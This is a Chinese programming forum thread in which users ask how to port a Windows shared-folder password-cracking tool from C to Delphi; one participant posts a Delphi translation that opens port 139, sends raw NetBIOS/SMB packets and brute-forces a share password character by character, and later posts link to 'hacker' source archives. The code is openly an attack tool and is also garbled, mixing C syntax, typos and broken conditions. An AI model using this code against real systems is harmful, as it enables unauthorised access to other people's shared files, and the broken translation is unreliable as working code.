怎样把共享破解的C代码转成Delphi代码!(共享破解源码)(100分)

  • 主题发起人 主题发起人 paf
  • 开始时间 开始时间
不好意思,我的软件暂时只能在Win98下运行! 是因为我的机子是 166CPU 装win2000 和 WinXp 会很慢!
暂时不知道软件不能运行的原因!

我的软件是刚写好不久的,我学编程也不久,因该我叫你前辈吧!
有空可以一起讨论吗?
QQ:9269563




 
哦,其实我大概知道原因。

Win9X和WinNT获取共享目录的函数不同。
 
用这个dongdong,
http://download.pchome.net/development/c/560.html
能够将符合 ANSI 标准的 C 语言程序翻译成 Pascal 语言程序,
我试了一下,有些不能翻(只能翻C的,c++不行),也不能保存结果(demo版)
 
我可以给你翻译成delphi的,不过我还没细看过,过两天给你结果怎么样。
呵呵,俺经常翻译MSDN的代码到Delphi,也算有点经验.
 
代码:
function IniSock: Boolean;
var
  wVersionrequested: WORD;
  wsaData: WSADATA;
  err: Integer;
begin
  Result := False;
  wVersionrequested := MAKEWORD(2, 0);
  //Start Sock
  err := WSAStartup(wVersionrequested, &wsaData);
  if err <> -1 then
  begin
    Result := True;
  end
  else
    MessageBox("WSAStartup err", "error", MB_OK);
end;

function ConnectSock: Boolean;
var
  MsgSock: Integer;
  Server_Address: string;
begin
  Result := False;
  // Ini Sock;
  ServerSock := socket(AF_INET,SOCK_STREAM,0);
  if ServerSock < 0 then
    raise Exception.Create('Socker Error');
  // Connect
  // edtIP 表示 GetDlgItem(IDC_IP)这个输入框
  Server_Address := edtIP.Text;
  server.sin_family := PF_INET;
  server.sin_port := htons(139);
  server.sin_addr.s_addr := inet_addr(server_address);
  MsgSock := Connect(ServerSock, @server, SizeOf(Server));
  if MsgSock = 0 then
    Result := True;
end;

procedure OnConnect;
var
  Pass: string;
begin
  // edtPassWord 表示窗体上IDC_PASSWORD这个输入框
  edtPassWord.Text := '';
  if not ConnectSock then
    Exit;
  if not MachineName then
  begin
    CloseSocket(ServerSock);
    raise Exception.Create('不能与主机正常通讯,/n请检查所输入内容是否正确或其它原因');
  end;
  if not LinkSecond then
  begin
    CloseSocket(ServerSock);
    Exit;
  end;
  PassFormat;
  Pass := ' ';
  SendPassword(Pass);
  CloseSocket(ServerSock);
end;


//将所想连接的机器名发送给139端口.
function MachineName: Boolean;
var
  Computer: string;
  bb: array [0..71] of Char;
  bblen1: Integer;
  bblen2: Integer;
  I: Integer;
  first: array [0..3] of Char ;
  d1: char; 
begin
  Result := False;
  bbLen1 := 5;
  bbLen2 := 39;
  // edtComputer 表示窗体上IDC_COMPUTER的输入框
  Computer := edtComputer.Text;
  if Computer = '' then
  begin
    edtComputer.SetFocus;
    raise Exception.Create('请输入计算机名!');
  end;
  if Length(Computer) > 15 then
  begin
    edtComputer.SetFocus;
    raise Exception.Create('请输入计算机少于16位');
  end;

  bb := '   D CACACACACACACACACACACACACACACACA  CACACACACACACACACACACACACACACACA';
  bb[0] := $81;
  bb[1] := $00;
  bb[2] := $00;
  bb[37] := $00;
  Computer := UpperCase(Computer);
  for I := 1 to Length(Computer) do
  begin
    //0---9==DA---DJ
    if (Computer[I] >= '0') and (Computer[I] <= '9') then
    begin
      bb[bbLen1] := 'D';
      bb[bbLen2] := 'D';
      Inc(bbLen1);
      Inc(bbLen2);
      bb[bblen1] := $41 - $30 + Computer[I];
      bb[bblen2] := $41 - $30 + Computer[I];
      Inc(bbLen1);
      Inc(bbLen2);
    end
    else
    if (Computer[I] >= 'A') and (Computer[I] <= '0') then
    begin
      //A----O==EB---EP
      //P----Z==FA---FK
      bb[bblen1] := 'E';
      bb[bblen2] := 'E';
      Inc(bbLen1);
      Inc(bbLen2);
      bb[bblen1] := Computer[I] + 1;
      bb[bblen2] := Computer[I] + 1;
      Inc(bbLen1);
      Inc(bbLen2);
    end;
    else
    if (Computer[I] >= 'P') and (Computer[I] <= 'Z') then
    begin
      bb[bblen1] := 'F';
      bb[bblen2] := 'F';
      Inc(bbLen1);
      Inc(bbLen2);
      bb[bblen1] := Computer[I] - 'P' + 'A';
      bb[bblen2] := Computer[I] - 'P' + 'A';
      Inc(bbLen1);
      Inc(bbLen2);
    end
    else
    begin
      raise Exception.Create('本程序现只支持计算机名为0-9与A-B');
    end;
  end;
  send(ServerSock, bb, SizeOf(bb), 0);
  FillChar(First, SizeOf(First), 0);
  recv(ServerSock, first, Sizeof(buf), 0);
  d1 := $82;
  Resutl := First[0] = d1;
end;

function LinkSecond: Boolean;
var
  cc: array [0..113] of char;
  I, Len: Integer;
begin
  //二次连接139端口中的第二次,这一次请求的字符串不知具体含义
  char cc[114]="   n SMBr      S                     K  PC NETWORJ PROGRAM 1.0  LANMAN1.0  Windows for Workgroupu 3.1a  LM1.2X002";
  for I := 0 to 2 do
    cc[I] := $00;
  cc[4] := $ff;
  for I := 9 to 12 do
    cc[i] := $00;
  cc[13] := 24;
  cc[14] := 8;
  for I := 16 to 29 do
    cc[i] := $00;

  cc[30] := 14;
  cc[31] := %ff;
  for I := 32 to 36 do
    cc[i] := 0;
  cc[38] := 0;
  cc[39] := 2;
  cc[62] := 0;
  cc[63] := 2;
  cc[73] := 0;
  cc[74] := 2;
  cc[103] := 2;
  cc[102] := 0;
  send(ServerSock, cc, SizeOf(cc), 0);
  FillChar(Buf, 1000, 0);
  Len := recv(ServerSock, buf, SizeOf(Buf), 0);
  Result := Len > 0;
end;

procedure SendPassWord(Pass: string);
var
  computer, myPass, share: string;
  PassLen: Integer;
  I, V, Len, where, Current: Integer;
  pp: char;
begin
  //43=密码长度 45=密码+URL名长度 3=passformat总长度-4 47=密码+URL
  //密码+URL前为47个字符
  //例如 1//hjm/c/ a: 7就是其中的//+/+ +a:共为七个字符
  Computer := UpperCase(edtComputer.Text);
  Share := UpperCase(edtShare.Text);
  PassLen := Length(Pass) + 7 + Length(Computer) + Length(Share) - 4 + 47;
  passformat[3] := passlen;
  passformat[43] = Length(pass)
  passformat[45] := Length(pass) + Length(computer)  + Length(share) + 7;
  where := 47;
  for I := 1 to Length(Pass) do
  begin
    passformat[where] := pass[I];
    Inc(Where);
  end;
  Current := Where;
  passformat[where] := $00;
  Inc(Where);
  passformat[where] := '/';
  Inc(Where);
  passformat[where] := '/';
  Inc(Where);
  for i := 1 to Length(Computer) do
  begin
    passformat[where] := computer[I];
    Inc(Where);
  end;
  passformat[where] := '/';
  Inc(Where);

  for I := 1 to Length(Share) do
  begin
    passformat[where] := share[I];
    Inc(Where);
  end;
  
  passformat[where] := $00;
  Inc(Where);
  passformat[where] := 'A';
  Inc(Where);
  passformat[where] := ':';
  send(ServerSock, passformat, passlen + 4, 0);
  Fillchar(Buf, 1000, 0);
  len := recv(ServerSock, buf, SizeOf(buf), 0);
  if Len > 39 do
  begin
    edtPassWord.Text := Pass;
    Exit;
  end;
  Delete(Pass, Length(Pass) - 1, 1);
  pp := 'A';
  for v := 0 to 25 do
  begin
    passformat[current] := pp;
    send(ServerSock, passformat, passlen + 4, 0);
    FillChar(Buf, 1000, 0);
    len := recv(ServerSock, buf, SizeOf(buf), 0);
    if Len > 39 do
    begin
      if Length(Pass) = 0 then
      begin
        mypass := pp;
        mypass := mypass + " ";
        SendPassword(mypass);		
        Exit;
      end
      else
      begin
        mypass := pass + pp + " ";
        SendPassword(mypass);
        Exit;
      end;
    end;
    Inc(pp);
  end;
end;

procedure PassFormat;
begin
  FillChar(PassFormat, 200, 0);
  passformat[4] := $ff;
  passformat[5] := $53;
  passformat[6] := $4d;
  passformat[7] := $42;
  passformat[8] := $75;
  passformat[13] := 24;
  passformat[15] := 8;
  passformat[30] := 14;
  passformat[31] := 15;
  passformat[36] := 4;
  passformat[37] := $ff;
end;
比较匆忙,只翻译了函数部分,至于同窗体之间的联系请你自己加上去吧,另外没有做什么
优化,呵呵,以后有时间可以优化一下。
 
多谢,我去试试!
 
paf 试好没
可把原码发给我
xianghonglin@wx88.net
 
哈哈,你在等我修改啊,我还没修改好啊!
我正在编写其它东西!
 
怎么同样的东西DELPHI写出来代码多这么多?是LYX没优化的原因,还是C++确实精简呢?
 
可以把工程文件打包发给我吗|?
fanweixiao@tom.com
3q。。。。
 
在这里下载!
http://www.chinaoak.com/sources.htm
http://www.chinaoak.com/download/sources/network/hacker/PQwak.zip

http://www.chinaoak.com/download/sources/hack.htm
http://www.chinaoak.com/download/sources/network/hacker/PQwak.zip

http://www.xhstudio.net/f.asp?o=1030
http://www.xhstudio.net/show.asp?id=1420
 
有谁写成了DELPHI代码了吗?
 
后退
顶部